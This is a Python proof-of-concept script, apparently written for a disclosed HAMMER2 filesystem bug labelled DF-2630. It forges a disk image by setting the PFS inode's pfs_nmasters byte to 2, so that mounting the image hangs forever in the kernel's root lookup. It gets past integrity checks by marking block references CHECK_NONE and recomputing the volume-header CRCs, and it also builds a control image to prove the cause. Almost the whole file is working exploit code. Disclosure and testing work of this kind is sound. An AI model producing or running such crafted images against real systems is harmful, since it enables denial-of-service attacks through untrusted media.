DF-2630 / forge_df2630.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | #!/usr/bin/env python3 """ DF-2630 PoC image forger. Base image: newfs_hammer2 -L testvol (fresh, never mounted). Stock image has meta.pfs_nmasters = 0x00 and meta.pfs_type = 0x06 (MASTER). Variants (each differs from the other by EXACTLY ONE byte): wedge : PFS inode "testvol": meta.pfs_nmasters 0x00 -> 0x02 (minimal, realistic-looking: "this cluster has 2 masters") -> pmp->pfs_nmasters = 2 (vfsops.c:527-528, no clamp, no reconciliation against nchains=1) -> nquorum = 2/2+1 = 2 (hammer2_cluster_check, cluster.c:348) > nchains = 1: quorum can NEVER form -> hammer2_vfs_root() loops forever at vfsops.c:1966-2011 (ipcluster xop collect fails ESRCH->ENOENT, tsleep "h2root" hz, retry; no timeout, no failure path) control : same forging machinery (CHECK_NONE brefs, volhdr CRCs recomputed) but meta.pfs_nmasters -> 0x01 -> nquorum = 1/1+1 = 1 = nchains: quorum forms instantly -> mount/ls/umount all work normally (proves the wedge is caused by the single nmasters byte) CRC handling (technique proven in DF-2616/DF-2620): set methods=0x00 (CHECK_NONE) on the volhdr sroot bref and on the PFS inode bref inside the sroot block, so neither the (patched) sroot block nor the (patched) PFS inode block is ever check-verified; recompute the 3 volume-header CRC32Cs. """ import struct, sys # ---------------- CRC32C (matches sys/libkern/icrc32.c) -------------------- def _mk(): poly = 0x82F63B78 t = [] for n in range(256): c = n for _ in range(8): c = (c >> 1) ^ poly if (c & 1) else (c >> 1) t.append(c) return t _T = _mk() def iscsi_crc32(data): crc = 0xFFFFFFFF for b in data: crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc ^ 0xFFFFFFFF assert iscsi_crc32(b"123456789") == 0xE3069283 RADIX_MASK = 0x3F BREF = 128 INODE_DATA_BLOCKSET = 0x200 OFF_PFS_NMASTERS = 0x86 T_EMPTY, T_INODE, T_INDIRECT = 0, 1, 2 def bref_parse(buf, off): t, methods = struct.unpack_from('<2B', buf, off) key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8) return dict(type=t, methods=methods, key=key, data_off=doff, off=off) def recompute_volhdr_crcs(buf): c1 = iscsi_crc32(bytes(buf[512:1024])) struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1) c0 = iscsi_crc32(bytes(buf[0:508])) struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0) cv = iscsi_crc32(bytes(buf[0:0xFFFC])) struct.pack_into('<I', buf, 0xFFFC, cv) def main(): if len(sys.argv) != 4 or sys.argv[2] not in ('wedge', 'control'): print("usage: forge_df2630.py <base.img> <wedge|control> <out.img>") sys.exit(2) base, variant, out = sys.argv[1:4] img = bytearray(open(base, 'rb').read()) volhdr = img[0:0x10000] assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011 # locate sroot block via volhdr root_blockref (offset 0x200) sroot0 = None for i in range(4): br = bref_parse(volhdr, 0x200 + i * BREF) if br['data_off']: sroot0 = br break sroot_blk = sroot0['data_off'] & ~RADIX_MASK # find the "testvol" PFS inode bref under sroot (direct + indirect) pfs_bref = None def try_child(br): nonlocal pfs_bref if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK): return False iblk = br['data_off'] & ~RADIX_MASK name_len = struct.unpack_from('<H', img, iblk + 0x80)[0] fname = bytes(img[iblk + 0x100:iblk + 0x100 + max(name_len, 1)]).split(b'\0')[0] if fname == b'testvol': pfs_bref = br return True return False def walk_indirect(blk, radix, depth): nslots = min((1 << radix) // BREF, 1024) for i in range(nslots): br = bref_parse(img, blk + i * BREF) if br['type'] == T_EMPTY: continue if try_child(br): return True if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4: if walk_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, depth + 1): return True return False for i in range(4): br = bref_parse(img, sroot_blk + INODE_DATA_BLOCKSET + i * BREF) if try_child(br): break if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK): if walk_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, 1): break assert pfs_bref, "testvol PFS inode not found" iblk = pfs_bref['data_off'] & ~RADIX_MASK nval = 2 if variant == 'wedge' else 1 print("[forge] sroot bref @volhdr+%#x (methods %#x -> 00)" % (sroot0['off'], sroot0['methods'])) print("[forge] testvol inode bref @%#x (methods %#x -> 00) -> inode blk @%#x" % (pfs_bref['off'], pfs_bref['methods'], iblk)) print("[forge] %s: pfs_nmasters %#x -> %#x" % (variant, img[iblk + OFF_PFS_NMASTERS], nval)) img[iblk + OFF_PFS_NMASTERS] = nval # CHECK_NONE the whole path: volhdr sroot bref + PFS inode bref struct.pack_into('<B', img, sroot0['off'] + 0x01, 0x00) struct.pack_into('<B', img, pfs_bref['off'] + 0x01, 0x00) recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s (variant %s)" % (out, variant)) if __name__ == '__main__': main() |